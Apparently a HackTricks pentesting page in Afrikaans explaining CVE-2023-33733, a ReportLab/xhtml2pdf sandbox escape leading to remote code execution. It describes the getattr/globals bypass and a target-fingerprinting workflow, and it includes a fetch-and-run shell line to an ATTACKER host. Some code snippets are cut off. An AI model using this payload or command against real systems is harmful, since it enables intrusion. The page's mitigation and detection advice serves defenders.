ReportLab/xhtml2pdf [[[...]]] uitdrukking-evaluering RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy dokumenteer 'n praktiese sandbox-ontsnapping en RCE-primitive in ReportLab se rl_safe_eval, gebruik deur xhtml2pdf en ander PDF-generasie-pipelines wanneer gebruiker-gestuurde HTML in PDF's gerender word.
CVE-2023-33733 raak ReportLab-weergawes tot en met 3.6.12. In sekere attribuutkontekste (byvoorbeeld color) word waardes wat in drievoudige hakies [[[ ... ]]] geplaas is server-side deur rl_safe_eval geëvalueer. Deur 'n payload te maak wat vanaf 'n witgelysde builtin (pow) na sy Python-funksie globals pivoteer, kan 'n aanvaller die os-module bereik en opdragte uitvoer.
Hoofpunte
- Trigger: inject [[[ ... ]]] in geëvalueerde attribuutte soos binne merkode wat deur ReportLab/xhtml2pdf gepars word.
- Sandbox: rl_safe_eval vervang gevaarlike builtins, maar geëvalueerde funksies openbaar steeds globals.
- Bypass: skep 'n tydelike klas Word om rl_safe_eval se naamkontroles te omseil en die string "globals" te bekom terwyl geblokkeerde dunder-filtering vermy word.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Stability: Gee 'n geldige waarde vir die attribuut terug ná die uitvoering (vir color, gebruik byvoorbeeld 'red').
Wanneer om te toets
- Aansoeke wat HTML-na-PDF-eksport openbaar (profiele, fakture, verslae) en xhtml2pdf/ReportLab in PDF-metagedata of HTTP-respons-kommentare vertoon.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP-respons vir PDF begin dikwels met 'n ReportLab-generatoropmerking
Hoe die sandbox-omseiling werk
- rl_safe_eval verwyder of vervang baie builtins (getattr, type, pow, ...) en pas naamfiltering toe om attributte wat met __ begin of in 'n denylist is te weier.
- Hierdie veilige funksies leef egter in 'n globals-dictionary wat toeganklik is as func.globals.
- Gebruik type(type(1)) om die werklike builtin type-funksie te herstel (om ReportLab se wrapper te omseil), en definieer dan 'n Word-klas wat van str aflei met gemuteerde vergelykingsgedrag sodat:
- .startswith('') → altyd False (omseil naam startswith('') kontrole)
- .eq gee slegs by die eerste vergelyking False terug (omseil denylist-lidmaatskapkontroles) en True daarna (sodat Python getattr werk)
- .hash gelyk aan hash(str(self))
- Hiermee gee getattr(pow, Word('globals')) die globals-dictionary van die omlêende pow-funksie terug, wat 'n geïmporteerde os-module insluit. Dan: ['os'].system('
').
Minimale eksploit-patroon (attribuutvoorbeeld) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
- Die lys-komprehensievorm laat 'n enkele uitdrukking toe wat deur rl_safe_eval aanvaarbaar is.
- Die agtervoegsel and 'red' gee 'n geldige CSS-kleur terug sodat die rendering nie breek nie.
- Vervang die opdrag soos nodig; gebruik ping om uitvoering met tcpdump te verifieer.
Operasionele werkvloei
- Identifiseer die PDF-generator
- PDF Producer wys xhtml2pdf; HTTP-respons bevat ReportLab-opmerking.
- Vind 'n inset wat in die PDF gereflekteer word (bv. profile bio/description) en trigger 'n eksport.
- Verifieer uitvoering met lae-ruis ICMP
- Run: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- Windows stuur dikwels presies vier echo-versoeke standaard.
- Vestig 'n shell
- Vir Windows is 'n betroubare twee-fase benadering beter om aanhaling-/koderingproblème te vermy:
- Fase 1 (aflaai):
- Fase 2 (uitvoer):
- Vir Linux-doelwitte is 'n soortgelyke twee-fase met curl/wget moontlik:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notas en wenke
- Attribuutkontekste: color is 'n bekende geëvalueerde attribuut; ander attributte in ReportLab-markup kan ook uitdrukkings evalueer. As een plek gesaniteer is, probeer ander plekke wat in die PDF-stroom gerender word (verskillende velde, tabelstyle, ens.).
- Aanhaling: Hou opdragte kompakt. Twee-fase aflaaie verminder drasties aanhaling- en ontsnappingsprobleme.
- Betroubaarheid: As uitvoere in kas of rye geplaas word, varieer effens die payload (bv. 'n ewekansige pad of query) om te verhoed om kas te tref.
Mitigasies en opsporing
- Werk ReportLab op na 3.6.13 of later (CVE-2023-33733 reggestel). Volg ook sekuriteitsadvies in distro-pakkette.
- Moet nie gebruiker-gestuurde HTML/markup direk in xhtml2pdf/ReportLab invoer sonder streng sanitisering nie. Verwyder/weier [[[...]]] evaluasie-konstruksies en vendor-spesifieke tags wanneer insette onbetroubaar is.
- Oorweeg om rl_safe_eval-gebruik heeltemal uit te skakel of te wrap vir onbetroubare insette.
- Monitor vir verdagte uitgaande verbindings tydens PDF-generasie (bv. ICMP/HTTP vanaf app-bedieners tydens uitvoer van dokumente).
Verwysings
- PoC en tegniese analise: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD inskrywing (geaffekteerde weergawes): CVE-2023-33733
- xhtml2pdf docs (merkode/bladsy-konsepte): xhtml2pdf docs
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.